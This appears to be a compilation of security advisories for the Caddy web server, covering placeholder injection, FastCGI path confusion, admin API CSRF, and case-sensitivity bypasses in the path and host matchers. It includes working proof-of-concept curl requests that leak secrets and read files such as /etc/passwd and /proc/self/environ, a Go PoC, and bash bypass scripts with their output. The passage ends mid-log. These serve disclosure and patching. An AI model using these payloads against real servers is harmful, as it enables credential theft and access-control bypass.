$ curl -v -H 'X-Input: hello' http://127.0.0.1:8080 Trying 127.0.0.1:8080... Connected to 127.0.0.1 (127.0.0.1) port 8080 GET / HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: curl/8.7.1 Accept: / X-Input: hello Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Wed, 18 Feb 2026 23:15:45 GMT < Content-Length: 13 < Leaked: hello

$ curl -v -H 'X-Input: {env.HOME}' http://127.0.0.1:8080 Trying 127.0.0.1:8080... Connected to 127.0.0.1 (127.0.0.1) port 8080 GET / HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: curl/8.7.1 Accept: / X-Input: {env.HOME} Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Wed, 18 Feb 2026 23:15:45 GMT < Content-Length: 20 < Leaked: /Users/test

$ curl -v -H 'X-Input: {env.SECRETAPIKEY}' http://127.0.0.1:8080 Trying 127.0.0.1:8080... Connected to 127.0.0.1 (127.0.0.1) port 8080 GET / HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: curl/8.7.1 Accept: / X-Input: {env.SECRETAPIKEY} Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Wed, 18 Feb 2026 23:15:45 GMT < Content-Length: 34 < Leaked: sk-PRODUCTION-abcdef123456

$ curl -v -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080 Trying 127.0.0.1:8080... Connected to 127.0.0.1 (127.0.0.1) port 8080 GET / HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: curl/8.7.1 Accept: / X-Input: {file./etc/hosts} Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Wed, 18 Feb 2026 23:15:45 GMT < Content-Length: 10 < Leaked: ##

Also works with {system.hostname}, {system.os}, {env.PATH}, etc.

Debug log (server starts clean, no errors): {"level":"info","ts":1771456228.917303,"msg":"maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined"} {"level":"info","ts":1771456228.917334,"msg":"GOMEMLIMIT is updated","GOMEMLIMIT":15461882265,"previous":9223372036854775807} {"level":"info","ts":1771456228.9173398,"msg":"using config from file","file":"config.json"} {"level":"warn","ts":1771456228.917349,"logger":"admin","msg":"admin endpoint disabled"} {"level":"info","ts":1771456228.917928,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0x340775faa300"} {"level":"warn","ts":1771456228.920725,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"warn","ts":1771456228.920738,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"info","ts":1771456228.920741,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]} {"level":"info","ts":1771456228.9210382,"msg":"autosaved config (load with --resume flag)"} {"level":"info","ts":1771456228.921052,"msg":"serving initial configuration"}

Impact

Information disclosure. An attacker can leak: - Environment variables ({env.DATABASEURL}, {env.AWSSECRETACCESSKEY}, etc.) - File contents up to 1MB ({file./etc/passwd}, {file./proc/self/environ}) - System info ({system.hostname}, {system.os}, {system.wd})

Requires a config where varsregexp matches user-controlled input and the capture group is reflected back. The bug was introduced by PR #5408 (fix for #5406), affecting all versions since.

Suggested one-line fix: diff --- a/modules/caddyhttp/vars.go +++ b/modules/caddyhttp/vars.go @@ -334,7 +334,7 @@ varStr = fmt.Sprintf("%v", vv) }

- valExpanded := repl.ReplaceAll(varStr, "") + valExpanded := varStr if match := val.Match(valExpanded, repl); match { return match, nil }

This makes varsregexp consistent with headerregexp and pathregexp. Placeholder key resolution (lines 315-318) is unaffected.

Tested on latest main commit at 95941a71 (2026-02-17).

AI Disclosure: Used Claude (Anthropic) during code review and testing. All findings verified manually.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.19%
Input Validation
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Caddy's FastCGI path splitting logic computes the split index on a lowercased copy of the request path and then uses that byte index to slice the original path. This is unsafe for Unicode because strings.ToLower() can change UTF-8 byte length for some characters. As a result, Caddy can derive an incorrect SCRIPTNAME/SCRIPTFILENAME and PATHINFO, potentially causing a request that contains .php to execute a different on-disk file than intended (path confusion). In setups where an attacker can control file contents (e.g., upload features), this can lead to unintended PHP execution of non-.php files (potential RCE depending on deployment).

Details

The issue is in github.com/caddyserver/caddy/modules/caddyhttp/fastcgi.Trasnport.splitPos() (and the subsequent slicing in buildEnv()):

lowerPath := strings.ToLower(path) idx := strings.Index(lowerPath, strings.ToLower(split)) return idx + len(split)

The returned index is computed in the byte space of lowerPath, but buildEnv() applies it to the original path:

- docURI = path[:splitPos] - pathInfo = path[splitPos:] - scriptName = strings.TrimSuffix(path, fc.pathInfo) - scriptFilename = caddyhttp.SanitizedPathJoin(fc.documentRoot, fc.scriptName)

This assumes lowerPath and path have identical byte lengths and identical byte offsets, which is not true for some Unicode case mappings. Certain characters expand when lowercased (UTF-8 byte length increases), shifting the computed index. This creates a mismatch where .php is found in the lowercased string at an offset that does not correspond to the same position in the original string, causing the split point to land later/earlier than intended.

PoC

Create a small Go program that reproduces Caddy's splitPos() behavior (compute the .php split point on a lowercased path, then use that byte index on the original path):

1. Save this as poc.go:

go package main

import ( "fmt" "strings" )

func splitPos(path string, split string) int { lowerPath := strings.ToLower(path) idx := strings.Index(lowerPath, strings.ToLower(split)) if idx < 0 { return -1 } return idx + len(split) }

func main() { // U+023A: Ⱥ (UTF-8: C8 BA). Lowercase is ⱥ (UTF-8: E2 B1 A5), longer in bytes. path := "/ȺȺȺȺshell.php.txt.php" split := ".php"

pos := splitPos(path, split)

fmt.Printf("orig bytes=%d\n", len(path)) fmt.Printf("lower bytes=%d\n", len(strings.ToLower(path))) fmt.Printf("splitPos=%d\n", pos)

fmt.Printf("orig[:pos]=%q\n", path[:pos]) fmt.Printf("orig[pos:]=%q\n", path[pos:])

// Expected split: right after the first ".php" in the original string want := strings.Index(path, split) + len(split) fmt.Printf("expected splitPos=%d\n", want) fmt.Printf("expected orig[:]=%q\n", path[:want]) }

2. Run it:

console go run poc.go

Output on my side:

orig bytes=26 lower bytes=30 splitPos=22 orig[:pos]="/ȺȺȺȺshell.php.txt" orig[pos:]=".php" expected splitPos=18 expected orig[:]="/ȺȺȺȺshell.php"

Expected split is right after the first .php (/ȺȺȺȺshell.php). Instead, the computed split lands later and cuts the original path after shell.php.txt, leaving .php as the remainder.

Impact

Security boundary bypass/path confusion in script resolution. In typical deployments, .php extension boundaries are relied on to decide what is executed by PHP. This bug can cause Caddy/FPM to execute a different file than intended by confusing SCRIPTNAME/SCRIPTFILENAME. If an attacker can place attacker-controlled content into a file that can be resolved as SCRIPTFILENAME (common in web apps with uploads or writable directories), this can lead to unintended PHP execution of non-.php files and potentially remote code execution. Severity depends on deployment and presence of attacker-controlled file writes, but the primitive itself is remotely triggerable via crafted URLs.

This vulnerability was initially reported to FrankenPHP (https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38) by @AbdrrahimDahmani. The affected code has been copied/adapted from Caddy, which, according to research, is also affected.

The patch is a port of the FrankenPHP patch.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
EPSS
0.02%
CSRF
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Caddy is an extensible server platform that uses TLS by default. Prior to version 2.11.1, the local caddy admin API (default listen 127.0.0.1:2019) exposes a state-changing POST /load endpoint that replaces the entire running configuration. When origin enforcement is not enabled (enforceorigin not configured), the admin endpoint accepts cross-origin requests (e.g., from attacker-controlled web content in a victim browser) and applies an attacker-supplied JSON config. This can change the admin listener settings and alter HTTP server behavior without user intent. Version 2.11.1 contains a fix for the issue.

1 / 2
Source: NVD
First published (updated )
Severity
9.1
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Caddy's HTTP path request matcher is intended to be case-insensitive, but when the match pattern contains percent-escape sequences (%xx) it compares against the request's escaped path without lowercasing. An attacker can bypass path-based routing and any access controls attached to that route by changing the casing of the request path.

Details In Caddy v2.10.2, MatchPath is explicitly designed to be case-insensitive and lowercases match patterns during provisioning:

- modules/caddyhttp/matchers.go: rationale captured in the MatchPath comment. - MatchPath.Provision lowercases configured patterns via strings.ToLower. - MatchPath.MatchWithError lowercases the request path for the normal matching path: reqPath := strings.ToLower(r.URL.Path).

But when a match pattern contains a percent sign (%), MatchPath.MatchWithError switches to "escaped space" matching and builds the comparison string from r.URL.EscapedPath():

- reqPathForPattern := CleanPath(r.URL.EscapedPath(), mergeSlashes) - If it doesn't match, it continues (skipping the remaining matching logic for that pattern).

Because r.URL.EscapedPath() is not lowercased, case differences in the request path can cause the escaped-space match to fail even though MatchPath is meant to be case-insensitive. For example, with a pattern of /admin%2Fpanel:

- Requesting /admin%2Fpanel matches and can be denied as intended. - Requesting /ADMIN%2Fpanel does not match and falls through to other routes/handlers.

Suggested fix - In the %-pattern matching path, ensure the effective string passed to path.Match is lowercased (same as the normal branch). - Simplest seems to lowercase the constructed string in matchPatternWithEscapeSequence right before path.Match.

Reproduced on: - Stable release: v2.10.2 -- this is the release referenced in the reproduction below. - Dev build: v2.11.0-beta.2. - Master tip: commit 58968b3fd38cacbf4b5e07cc8c8be27696dce60f.

PoC Prereqs: - bash, curl - A pre-built Caddy binary available at /opt/caddy-2.10.2/caddy (edit CADDYBIN in the script if needed)

<details> <summary>Script (Click to expand)</summary>

bash #!/usr/bin/env bash set -euo pipefail

CADDYBIN="/opt/caddy-2.10.2/caddy" HOST="127.0.0.1" PORT="8080"

TMPDIR="$(mktemp -d)" CADDYFILE="${TMPDIR}/Caddyfile" LOG="${TMPDIR}/caddy.log"

cleanup() { if [ -n "${CADDYPID:-}" ] && kill -0 "${CADDYPID}" 2>/dev/null; then kill "${CADDYPID}" 2>/dev/null || true wait "${CADDYPID}" 2>/dev/null || true fi rm -rf "${TMPDIR}" 2>/dev/null || true } trap cleanup EXIT

if [ ! -x "${CADDYBIN}" ]; then echo "error: missing caddy binary at ${CADDYBIN}" >&2 exit 2 fi

echo "== Caddy version ==" "${CADDYBIN}" version

cat >"${CADDYFILE}" <<EOF { debug }

:${PORT} { log @block { path /admin%2Fpanel } respond @block "DENY" 403 respond "ALLOW" 200 } EOF

echo echo "== Caddyfile ==" cat "${CADDYFILE}"

echo echo "== Start Caddy (debug + capture logs) ==" echo "cmd: ${CADDYBIN} run --config ${CADDYFILE} --adapter caddyfile" "${CADDYBIN}" run --config "${CADDYFILE}" --adapter caddyfile >"${LOG}" 2>&1 & CADDYPID="$!"

sleep 2

echo echo "== Request 1 (baseline - expect deny) ==" echo "cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/admin%2Fpanel" curl -v -H "Host: example.test" "http://${HOST}:${PORT}/admin%2Fpanel" 2>&1 || true

echo echo "== Request 2 (BYPASS - expect allow) ==" echo "cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/ADMIN%2Fpanel" curl -v -H "Host: example.test" "http://${HOST}:${PORT}/ADMIN%2Fpanel" 2>&1 || true

echo echo "== Stop Caddy ==" kill "${CADDYPID}" 2>/dev/null || true wait "${CADDYPID}" 2>/dev/null || true

echo echo "== Full Caddy debug log ==" cat "${LOG}" </details>

<details> <summary>Expected output (Click to expand)</summary>

bash == Caddy version == v2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=

== Caddyfile == { debug }

:8080 { log @block { path /admin%2Fpanel } respond @block "DENY" 403 respond "ALLOW" 200 }

== Start Caddy (debug + capture logs) == cmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.GXiRbxOnBN/Caddyfile --adapter caddyfile

== Request 1 (baseline - expect deny) == cmd: curl -v -H 'Host: example.test' http://127.0.0.1:8080/admin%2Fpanel Trying 127.0.0.1:8080... Connected to 127.0.0.1 (127.0.0.1) port 8080 using HTTP/1.x GET /admin%2Fpanel HTTP/1.1 Host: example.test User-Agent: curl/8.15.0 Accept: / Request completely sent off < HTTP/1.1 403 Forbidden < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Sun, 08 Feb 2026 22:19:20 GMT < Content-Length: 4 < Connection #0 to host 127.0.0.1 left intact DENY == Request 2 (BYPASS - expect allow) == cmd: curl -v -H 'Host: example.test' http://127.0.0.1:8080/ADMIN%2Fpanel Trying 127.0.0.1:8080... Connected to 127.0.0.1 (127.0.0.1) port 8080 using HTTP/1.x GET /ADMIN%2Fpanel HTTP/1.1 Host: example.test User-Agent: curl/8.15.0 Accept: / Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Sun, 08 Feb 2026 22:19:20 GMT < Content-Length: 5 < Connection #0 to host 127.0.0.1 left intact ALLOW == Stop Caddy ==

== Full Caddy debug log == {"level":"info","ts":1770589158.3687892,"msg":"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined"} {"level":"info","ts":1770589158.3690693,"msg":"GOMEMLIMIT is updated","package":"github.com/KimMachineGun/automemlimit/memlimit","GOMEMLIMIT":1844136345,"previous":9223372036854775807} {"level":"info","ts":1770589158.369109,"msg":"using config from file","file":"/tmp/tmp.GXiRbxOnBN/Caddyfile"} {"level":"info","ts":1770589158.3704133,"msg":"adapted config to JSON","adapter":"caddyfile"} {"level":"warn","ts":1770589158.370424,"msg":"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies","adapter":"caddyfile","file":"/tmp/tmp.GXiRbxOnBN/Caddyfile","line":2} {"level":"info","ts":1770589158.3715324,"logger":"admin","msg":"admin endpoint started","address":"localhost:2019","enforceorigin":false,"origins":["//localhost:2019","//[::1]:2019","//127.0.0.1:2019"]} {"level":"debug","ts":1770589158.3716462,"logger":"http.autohttps","msg":"adjusted config","tls":{"automation":{"policies":[{}]}},"http":{"servers":{"srv0":{"listen":[":8080"],"routes":[{"handle":[{"body":"DENY","handler":"staticresponse","statuscode":403}]},{"handle":[{"body":"ALLOW","handler":"staticresponse","statuscode":200}]}],"automatichttps":{},"logs":{}}}}} {"level":"debug","ts":1770589158.3718414,"logger":"http","msg":"starting server loop","address":"[::]:8080","tls":false,"http3":false} {"level":"warn","ts":1770589158.371858,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"warn","ts":1770589158.3718607,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"info","ts":1770589158.3718636,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]} {"level":"debug","ts":1770589158.3718896,"logger":"events","msg":"event","name":"started","id":"6bb8b6fe-4980-4a48-9f7e-2146ecd48ce6","origin":"","data":null} {"level":"info","ts":1770589158.3720388,"msg":"autosaved config (load with --resume flag)","file":"/home/vh/.config/caddy/autosave.json"} {"level":"info","ts":1770589158.3720443,"msg":"serving initial configuration"} {"level":"info","ts":1770589158.372355,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0xc00064d180"} {"level":"info","ts":1770589158.3855736,"logger":"tls","msg":"storage cleaning happened too recently; skipping for now","storage":"FileStorage:/home/vh/.local/share/caddy","instance":"a259f82d-3c7c-4706-9ca8-17456b4af729","tryagain":1770675558.3855705,"tryagainin":86399.999999388} {"level":"info","ts":1770589158.3857276,"logger":"tls","msg":"finished cleaning storage units"} {"level":"info","ts":1770589160.2764065,"logger":"http.log.access","msg":"handled request","request":{"remoteip":"127.0.0.1","remoteport":"57126","clientip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"example.test","uri":"/admin%2Fpanel","headers":{"User-Agent":["curl/8.15.0"],"Accept":["/"]}},"bytesread":0,"userid":"","duration":0.000017493,"size":4,"status":403,"respheaders":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} {"level":"info","ts":1770589160.2943857,"logger":"http.log.access","msg":"handled request","request":{"remoteip":"127.0.0.1","remoteport":"57136","clientip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"example.test","uri":"/ADMIN%2Fpanel","headers":{"User-Agent":["curl/8.15.0"],"Accept":["/"]}},"bytesread":0,"userid":"","duration":0.000066734,"size":5,"status":200,"respheaders":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} {"level":"info","ts":1770589160.2966497,"msg":"shutting down apps, then terminating","signal":"SIGTERM"} {"level":"warn","ts":1770589160.2966666,"msg":"exiting; byeee!! 👋","signal":"SIGTERM"} {"level":"debug","ts":1770589160.296728,"logger":"events","msg":"event","name":"stopping","id":"aefb0a2f-0a81-4587-9f79-e530883c3fe1","origin":"","data":null} {"level":"info","ts":1770589160.2967443,"logger":"http","msg":"servers shutting down with eternal grace period"} {"level":"info","ts":1770589160.2968848,"logger":"admin","msg":"stopped previous server","address":"localhost:2019"} {"level":"info","ts":1770589160.2968912,"msg":"shutdown complete","signal":"SIGTERM","exitcode":0} </details>

Impact This is a route/auth bypass in Caddy's path-matching logic for patterns that include escape sequences. Deployments that use path matchers with %xx patterns to block or protect sensitive endpoints (including encoded-path variants such as encoded slashes) can be bypassed by changing the casing of the request path, allowing unauthorized access to sensitive endpoints behind Caddy depending on upstream configuration.

The reproduction is minimal per the reporting guidance. In a realistic "full" scenario, a deployment may block %xx variants like path /admin%2Fpanel, otherwise proxying. If the backend is case-insensitive/normalizing, /ADMIN%2Fpanel maps to the same handler; Caddy’s %-pattern match misses due to case, so the block is skipped and the request falls through.

AI Use Disclosure A custom AI agent pipeline was used to discover the vulnerability, after which was manually reproduced and validated each step. The entire report was ran through an LLM to make sure nothing obvious was missed.

Disclosure/crediting

Asim Viladi Oglu Manizada

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Caddy's HTTP host request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the Host header.

Details In Caddy v2.10.2, the MatchHost matcher states it matches the Host value case-insensitively:

- modules/caddyhttp/matchers.go: type MatchHost matches requests by the Host value (case-insensitive).

However, in MatchHost.MatchWithError, when the host list is considered "large" (len(m) > 100):

- MatchHost.large() returns true for len(m) > 100 (modules/caddyhttp/matchers.go, around the large() helper). - The matcher takes a "fast path" using binary search over the sorted host list, and checks for an exact match using a case-sensitive string comparison (m[pos] == reqHost). - After the fast path fails, the fallback loop short-circuits for large lists by breaking as soon as it reaches the first non-fuzzy entry. For configs comprised of exact hostnames only (no wildcards/placeholders), this prevents the strings.EqualFold(reqHost, host) check from ever running.

Net effect: with a host list length of 101 or more, changing only the casing of the incoming Host header can cause the host matcher to not match when it should.

Suggested fix - Normalize exact hostnames to lower-case during MatchHost.Provision (at least for non-fuzzy entries). - Normalize the incoming request host (reqHost) to lower-case before the large-list binary search + equality check, so the optimized path stays case-insensitive.

Reproduced on: - Stable release: v2.10.2 -- this is the release I reference in the repro below. - Dev build: v2.11.0-beta.2. - Master tip: commit 58968b3fd38cacbf4b5e07cc8c8be27696dce60f.

PoC Prereqs: - bash, curl - A pre-built Caddy binary available at /opt/caddy-2.10.2/caddy (edit CADDYBIN in the script if needed)

<details> <summary>Script (Click to expand)</summary>

bash #!/usr/bin/env bash set -euo pipefail

CADDYBIN="/opt/caddy-2.10.2/caddy" HOST="127.0.0.1" PORT="8080"

TMPDIR="$(mktemp -d)" CADDYFILE="${TMPDIR}/Caddyfile" LOG="${TMPDIR}/caddy.log"

cleanup() { if [ -n "${CADDYPID:-}" ] && kill -0 "${CADDYPID}" 2>/dev/null; then kill "${CADDYPID}" 2>/dev/null || true wait "${CADDYPID}" 2>/dev/null || true fi rm -rf "${TMPDIR}" 2>/dev/null || true } trap cleanup EXIT

if [ ! -x "${CADDYBIN}" ]; then echo "error: missing caddy binary at ${CADDYBIN}" >&2 exit 2 fi

echo "== Caddy version ==" "${CADDYBIN}" version

cat >"${CADDYFILE}" <<EOF { debug }

:${PORT} { log @protected { host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test path /admin } respond @protected "DENY" 403 respond "ALLOW" 200 } EOF

echo echo "== Caddyfile ==" cat "${CADDYFILE}"

echo echo "== Start Caddy (debug + capture logs) ==" echo "cmd: ${CADDYBIN} run --config ${CADDYFILE} --adapter caddyfile" "${CADDYBIN}" run --config "${CADDYFILE}" --adapter caddyfile >"${LOG}" 2>&1 & CADDYPID="$!"

sleep 2

echo echo "== Request 1 (baseline - expect deny) ==" echo "cmd: curl -v -H 'Host: h050.test' http://${HOST}:${PORT}/admin" curl -v -H "Host: h050.test" "http://${HOST}:${PORT}/admin" 2>&1 || true

echo echo "== Request 2 (BYPASS - expect allow) ==" echo "cmd: curl -v -H 'Host: H050.TEST' http://${HOST}:${PORT}/admin" curl -v -H "Host: H050.TEST" "http://${HOST}:${PORT}/admin" 2>&1 || true

echo echo "== Stop Caddy ==" kill "${CADDYPID}" 2>/dev/null || true wait "${CADDYPID}" 2>/dev/null || true

echo echo "== Full Caddy debug log ==" cat "${LOG}"

</details>

<details> <summary>Expected output (Click to expand)</summary>

bash == Caddy version == v2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=

== Caddyfile == { debug }

:8080 { log @protected { host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test path /admin } respond @protected "DENY" 403 respond "ALLOW" 200 }

== Start Caddy (debug + capture logs) == cmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.3BN6rgj9yF/Caddyfile --adapter caddyfile

== Request 1 (baseline - expect deny) == cmd: curl -v -H 'Host: h050.test' http://127.0.0.1:8080/admin Trying 127.0.0.1:8080... Connected to 127.0.0.1 (127.0.0.1) port 8080 using HTTP/1.x GET /admin HTTP/1.1 Host: h050.test User-Agent: curl/8.15.0 Accept: / Request completely sent off < HTTP/1.1 403 Forbidden < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Sun, 08 Feb 2026 22:09:09 GMT < Content-Length: 4 < Connection #0 to host 127.0.0.1 left intact DENY == Request 2 (BYPASS - expect allow) == cmd: curl -v -H 'Host: H050.TEST' http://127.0.0.1:8080/admin Trying 127.0.0.1:8080... Connected to 127.0.0.1 (127.0.0.1) port 8080 using HTTP/1.x GET /admin HTTP/1.1 Host: H050.TEST User-Agent: curl/8.15.0 Accept: / < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Sun, 08 Feb 2026 22:09:09 GMT < Content-Length: 5 < Connection #0 to host 127.0.0.1 left intact ALLOW == Stop Caddy ==

== Full Caddy debug log == {"level":"info","ts":1770588548.012352,"msg":"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined"} {"level":"info","ts":1770588548.0125406,"msg":"GOMEMLIMIT is updated","package":"github.com/KimMachineGun/automemlimit/memlimit","GOMEMLIMIT":1844136345,"previous":9223372036854775807} {"level":"info","ts":1770588548.0125597,"msg":"using config from file","file":"/tmp/tmp.3BN6rgj9yF/Caddyfile"} {"level":"info","ts":1770588548.0131946,"msg":"adapted config to JSON","adapter":"caddyfile"} {"level":"warn","ts":1770588548.013202,"msg":"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies","adapter":"caddyfile","file":"/tmp/tmp.3BN6rgj9yF/Caddyfile","line":2} {"level":"info","ts":1770588548.0139973,"logger":"admin","msg":"admin endpoint started","address":"localhost:2019","enforceorigin":false,"origins":["//127.0.0.1:2019","//localhost:2019","//[::1]:2019"]} {"level":"debug","ts":1770588548.0140707,"logger":"http.autohttps","msg":"adjusted config","tls":{"automation":{"policies":[{}]}},"http":{"servers":{"srv0":{"listen":[":8080"],"routes":[{"handle":[{"handler":"subroute","routes":[{"handle":[{"body":"DENY","handler":"staticresponse","statuscode":403}],"match":[{"host":["h001.test","h002.test","h003.test","h004.test","h005.test","h006.test","h007.test","h008.test","h009.test","h010.test","h011.test","h012.test","h013.test","h014.test","h015.test","h016.test","h017.test","h018.test","h019.test","h020.test","h021.test","h022.test","h023.test","h024.test","h025.test","h026.test","h027.test","h028.test","h029.test","h030.test","h031.test","h032.test","h033.test","h034.test","h035.test","h036.test","h037.test","h038.test","h039.test","h040.test","h041.test","h042.test","h043.test","h044.test","h045.test","h046.test","h047.test","h048.test","h049.test","h050.test","h051.test","h052.test","h053.test","h054.test","h055.test","h056.test","h057.test","h058.test","h059.test","h060.test","h061.test","h062.test","h063.test","h064.test","h065.test","h066.test","h067.test","h068.test","h069.test","h070.test","h071.test","h072.test","h073.test","h074.test","h075.test","h076.test","h077.test","h078.test","h079.test","h080.test","h081.test","h082.test","h083.test","h084.test","h085.test","h086.test","h087.test","h088.test","h089.test","h090.test","h091.test","h092.test","h093.test","h094.test","h095.test","h096.test","h097.test","h098.test","h099.test","h100.test","h101.test"],"path":["/admin"]}]},{"handle":[{"body":"ALLOW","handler":"staticresponse","statuscode":200}]}]}],"terminal":true}],"automatichttps":{},"logs":{}}}}} {"level":"info","ts":1770588548.0143135,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0xc0000d7c80"} {"level":"debug","ts":1770588548.0143793,"logger":"http","msg":"starting server loop","address":"[::]:8080","tls":false,"http3":false} {"level":"warn","ts":1770588548.014415,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"warn","ts":1770588548.0144184,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"info","ts":1770588548.0144203,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]} {"level":"debug","ts":1770588548.014438,"logger":"events","msg":"event","name":"started","id":"1c7f6534-d264-456d-988d-e9f77a099c42","origin":"","data":null} {"level":"info","ts":1770588548.0145273,"msg":"autosaved config (load with --resume flag)","file":"/home/vh/.config/caddy/autosave.json"} {"level":"info","ts":1770588548.0145316,"msg":"serving initial configuration"} {"level":"info","ts":1770588548.0274432,"logger":"tls","msg":"storage cleaning happened too recently; skipping for now","storage":"FileStorage:/home/vh/.local/share/caddy","instance":"a259f82d-3c7c-4706-9ca8-17456b4af729","tryagain":1770674948.0274422,"tryagainin":86399.999999709} {"level":"info","ts":1770588548.0275078,"logger":"tls","msg":"finished cleaning storage units"} {"level":"info","ts":1770588549.9694445,"logger":"http.log.access","msg":"handled request","request":{"remoteip":"127.0.0.1","remoteport":"53220","clientip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"h050.test","uri":"/admin","headers":{"User-Agent":["curl/8.15.0"],"Accept":["/"]}},"bytesread":0,"userid":"","duration":0.000014857,"size":4,"status":403,"respheaders":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} {"level":"info","ts":1770588549.9741833,"logger":"http.log.access","msg":"handled 